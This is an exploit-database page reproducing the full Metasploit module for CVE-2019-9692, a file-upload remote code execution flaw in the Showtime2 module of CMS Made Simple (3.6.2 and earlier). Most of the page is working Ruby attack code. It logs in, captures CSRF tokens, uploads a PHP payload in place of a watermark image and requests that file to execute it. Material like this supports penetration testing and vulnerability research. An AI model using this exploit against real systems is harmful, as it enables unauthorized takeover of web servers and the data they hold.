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"CMS Made Simple (CMSMS) Showtime2 - File Upload RCE (Metasploit)"

Author

Metasploit

Platform

php

Release date

2019-03-28

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import requests
response = requests.get('https://www.nmmapper.com/api/exploitdetails/46627/?format=json')
                                                {"url": "https://www.nmmapper.com/api/exploitdetails/46627/?format=json", "download_file": "https://www.nmmapper.com/st/exploitdetails/46627/41063/cms-made-simple-cmsms-showtime2-file-upload-rce-metasploit/download/", "exploit_id": "46627", "exploit_description": "\"CMS Made Simple (CMSMS) Showtime2 - File Upload RCE (Metasploit)\"", "exploit_date": "2019-03-28", "exploit_author": "Metasploit", "exploit_type": "remote", "exploit_platform": "php", "exploit_port": null}
                                            

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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name' => "CMS Made Simple (CMSMS) Showtime2 File Upload RCE",
      'Description' => %q(
        This module exploits a File Upload vulnerability that lead in a RCE in
        Showtime2 module (<= 3.6.2) in CMS Made Simple (CMSMS). An authenticated
        user with "Use Showtime2" privilege could exploit the vulnerability.

        The vulnerability exists in the Showtime2 module, where the class
        "class.showtime2_image.php" does not ensure that a watermark file
        has a standard image file extension (GIF, JPG, JPEG, or PNG).

        Tested on Showtime2 3.6.2, 3.6.1, 3.6.0, 3.5.4, 3.5.3, 3.5.2, 3.5.1, 3.5.0,
        3.4.5, 3.4.3, 3.4.2 on CMS Made Simple (CMSMS) 2.2.9.1
      ),
      'License' => MSF_LICENSE,
      'Author' =>
        [
          'Daniele Scanu', # Discovery & PoC
          'Fabio Cogno' # Metasploit module
        ],
      'References' =>
        [
          ['CVE', '2019-9692'],
          ['CWE', '434'],
          ['EDB', '46546'],
          ['URL', 'https://forum.cmsmadesimple.org/viewtopic.php?f=1&t=80285'],
          ['URL', 'http://viewsvn.cmsmadesimple.org/diff.php?repname=showtime2&path=%2Ftrunk%2Flib%2Fclass.showtime2_image.php&rev=47']
        ],
      'Platform' => 'php',
      'Arch' => ARCH_PHP,
      'Targets' => [['Automatic', {}]],
      'Privileged' => false,
      'DisclosureDate' => "Mar 11 2019",
      'DefaultTarget' => 0))

    register_options(
      [
        OptString.new('TARGETURI', [true, "Base CMS Made Simple directory path", '/']),
        OptString.new('USERNAME', [true, "Username to authenticate with", '']),
        OptString.new('PASSWORD', [false, "Password to authenticate with", ''])
      ]
    )
  end

  def do_login
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'admin', 'login.php'),
      'vars_post' => {
        'username' => datastore['username'],
        'password' => datastore['password'],
        'loginsubmit' => 'Submit'
      }
    )

    unless res
      fail_with(Failure::Unreachable, 'Connection failed')
    end

    if res.code == 302
      @csrf_name = res.headers['Location'].scan(/([^?=&]+)[=([^&]*)]?/).flatten[-2].to_s
      @csrf_value = res.headers['Location'].scan(/([^?=&]+)[=([^&]*)]?/).flatten[-1].to_s
      @cookies = res.get_cookies
      return
    end

    fail_with(Failure::NoAccess, 'Authentication was unsuccessful')
  end

  def upload(fname, fcontent)
    # construct POST data
    data = Rex::MIME::Message.new
    data.add_part('Showtime2,m1_,defaultadmin,0', nil, nil, "form-data; name=\"mact\"")
    data.add_part('Upload', nil, nil, "form-data; name=\"m1_upload_submit\"")
    data.add_part(@csrf_value, nil, nil, "form-data; name=\"#{@csrf_name}\"")
    data.add_part(fcontent, 'text/plain', nil, "from-data; name=\"m1_input_browse\"; filename=\"#{fname}\"")

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri, 'admin', 'moduleinterface.php'),
      'ctype' => "multipart/form-data; boundary=#{data.bound}",
      'data' => data.to_s,
      'headers' => {
        'Cookie' => @cookies
      }
    )

    unless res
      fail_with(Failure::Unreachable, 'Connection failed')
    end

    if res.code == 200 && (res.body =~ /#{Regexp.escape(fname)}/i || res.body =~ /id="showoverview"/i)
      return
    end

    print_warning('No confidence in PHP payload success or failure')
  end

  def check
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'modules', 'Showtime2', 'moduleinfo.ini')
    )

    unless res
      vprint_error 'Connection failed'
      return CheckCode::Unknown
    end

    if res.code == 200
      module_version = Gem::Version.new(res.body.scan(/^version = "?(\d\.\d\.\d)"?/).flatten.first)
      if module_version < Gem::Version.new('3.6.3')
        # Showtime2 module is uploaded and present on "Module Manager" section but it could be NOT installed.
        vprint_status("Showtime2 version: #{module_version}")
        return Exploit::CheckCode::Appears
      end
    end

    return Exploit::CheckCode::Safe
  end

  def exploit
    unless Exploit::CheckCode::Appears == check
      fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')
    end

    @csrf_name = nil
    @csrf_value = nil
    @cookies = nil

    do_login

    # Upload PHP payload
    fname = "#{rand_text_alphanumeric(3..9)}.php"
    fcontent = "<?php #{payload.encode} ?>"
    print_status('Uploading PHP payload.')
    upload(fname, fcontent)

    # Register uploaded PHP payload file for cleanup
    register_files_for_cleanup('./' + fname)

    # Retrieve and execute PHP payload
    print_status("Making request for '/#{fname}' to execute payload.")
    send_request_cgi(
      {
        'method' => 'GET',
        'uri' => normalize_uri(target_uri.path, 'uploads', 'images', fname)
      },
      15
    )
  end
end